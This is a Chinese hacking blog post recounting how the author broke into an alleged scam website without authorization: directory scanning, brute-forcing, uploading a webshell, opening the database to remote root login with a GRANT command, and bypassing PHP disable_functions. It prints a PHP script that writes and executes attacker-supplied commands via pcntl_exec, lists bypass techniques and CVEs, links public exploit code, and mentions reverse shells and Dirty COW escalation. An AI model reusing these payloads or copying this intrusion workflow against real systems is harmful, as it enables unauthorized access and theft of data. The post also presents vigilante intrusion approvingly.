看我深夜如何绕过disable_functions拿到主机权限

声明

本文作者:北美第一突破手 本文字数:1935

阅读时长:20分钟

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

前言

        事情的起因是这样的 昨天晚上还在和女朋友聊天的时候,突然一个好兄弟发了一个连接给我们,说他的朋友被骗了钱,我们拿到主站的时候大概是这样的 :sun_with_face:这种站点一看就知道是那种骗人的站点,也不知为啥有这么多人相信天上掉馅饼。

一、

信息收集

按照一般的思路先做一手信息收集,先手看一下IP和端口:

香港的阿里云?这也太离谱了吧

在扫了一下目录啥的,除了这个还有一个后台,先不管,现从这个主站开始,想着先注册一下账号啥的看看有无业务上的逻辑漏洞,顺便注册一个号抓了一下包,尝试爆破一下用户名啥的。

这里想着爆破一下看看存在的用户,结果才整跑了20个包就ban了ip,打消念头

整了半天的登录入口结果还要邀请码,没有邀请码还没法注册,整挺好的,于是拿上朋友的注册过的账号登上去了,有个客服聊天的东西,看了一下链接跳转,爆破一下,于是就有了这样一个页面:

弱口令无果,于是去注册了一个账号登录:

我不是很清楚这到底是个啥,但是登录上去就是这个玩楞。这开发也太不走心了吧,就这的UI实在是太离谱了,我觉得我又可以了:smile:,于是右键查看源码,看看有无可用的信息,大致扫了一遍找到一个上传文件的路径,打开报错

在最下面可以看到是TP5.0的框架,尝试看看tp框架的漏洞,扫了一遍基本没有已知poc的漏洞,然后就陷入了沉思。

二、

柳暗花明

吃了饭的我在群里和几个好兄弟吹水,他们说了今天有个网站必须要用360才能打开,不然的话都是乱码的,我寻思哪儿有这么离谱,突然想到哪个站,于是我用了一下谷歌打开这个页面:

罢了罢了

三、

上传Shell

找了一会找到一个上传点,尝试上传文件

拿到shell

用冰蝎连一下:

三、

开启外链拿到数据库

然后尝试找他的数据库的配置文件,因为只能本地连接数据库不允许外链,所以我们可以先传一个小马登录他的数据库,然后在开启外链就ok:

开启外链命令:

代码语言:javascript
复制
GRANT ALL PRIVILEGES ON *.* TO ‘root’@'%’ IDENTIFIED BY ‘外链登录密码’ WITH GRANT OPTION;

尝试用工具去链接:

三、

尝试绕过disable_functions

在执行命令的时候出错,看了一下应该是php函数disable_functions禁用了命令执行:

所谓的disable_functions,就是运维人员会禁用PHP的一些“危险”函数,将其写在php.ini配置文件中,就是我们所说的disable_functions了。例如:

passthru,exec,system,chroot,chgrp,chown,shell_exec,proc_open,proc_get_status,popen,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,link 等

渗透时,上传了webshell却因为disable_functions禁用了我们函数,我们就无法执行相应的命令,这时候就需要去进行一个绕过。

disable_functions其实是一个黑名单机制,我们可以通过观察是否存在可利用的漏网之鱼,直接通过其实现绕过即可。

就我所知的绕过有这几种:

  • 常规绕过:exec,shell_exec,system,passthru,popen,proc_open
  • 利用环境变量LD_PRELOAD绕过mail,imap_mail,error_log,mb_send_mail
  • 利用pcntl_exec绕过利用imap_open函数任意命令执行(CVE-2018-19518)
  • 利用系统组件window com绕过利用Apache+mod_cgi+.htaccess
  • 绕过利用ImageMagick漏洞绕过利用PHP7.4的FFI绕过利用 ShellShock绕过(CVE-2014-6271)
  • 蚁剑插件

因为我知道他是php7.x的版本,所以我先去尝试了github上一个开源的利用环境变量LD_PRELOAD的脚本

代码语言:javascript
复制
https://github.com/yangyangwithgnu/bypass_disablefunc_via_LD_PRELOAD 23

没有回显,然后又去试了一下另外一个::open_hands:任然没有返回:

代码语言:javascript
复制
<?php​header("Content-Type: text/plain");​$cmd="/tmp/exec";@unlink($cmd);$c = "#!/usr/bin/env bash\n".$_GET[x]."> /tmp/output.txt\n";file_put_contents($cmd, $c);chmod($cmd, 0777);$cd="/tmp/output.txt";print_r(file_get_contents($cd));​​switch (pcntl_fork()) {​  case 0:​    $ret = pcntl_exec($cmd);​    exit("case 0");​  default:​    echo "case 1";​    break;​}

问了一下群里的师傅他们说可以这样: &_GET['a'](&_GET['b']) 然后构造:a=exec&b=phpinfo() 然后进行绕过,想了想在本地写了一下shell没有问题,于是尝试去绕过,当我正要去试的时候突然想起来可以直接用蚁剑的bypass插件啊!

插件地址

看来还是自己太菜了,蚁剑的这个绕过是使用的php_gc_uaf进行baypass

利用原理

`php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令

影响范围是linux,php7.0-7.3

https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php

php-json-bypass漏洞利用json序列化程序中的堆溢出触发,以绕过disable_functions并执行系统命令

影响范围是linux,php 7.1-7.3

蚁剑插件实现:

两插件首先判断系统版本及php版本是否满足使用条件

启新终端,通过PHP7GCUAFEXP()函数、JSONSerializer_UAF()函数传递执行命令

两EXP函数通过调用原作者POC实现

`

拿到权限 能够执行命令了接下来就是提权了,提权的思路大概就是反弹一下shell,然后在尝试使用已知的EXP进行提权操作,这个站可以用脏牛直接整活:loop

后记

以后多备几个浏览器,有些网站是真的难顶,一般的监控也会存在这样的情况。只能360之类的浏览器进行操作。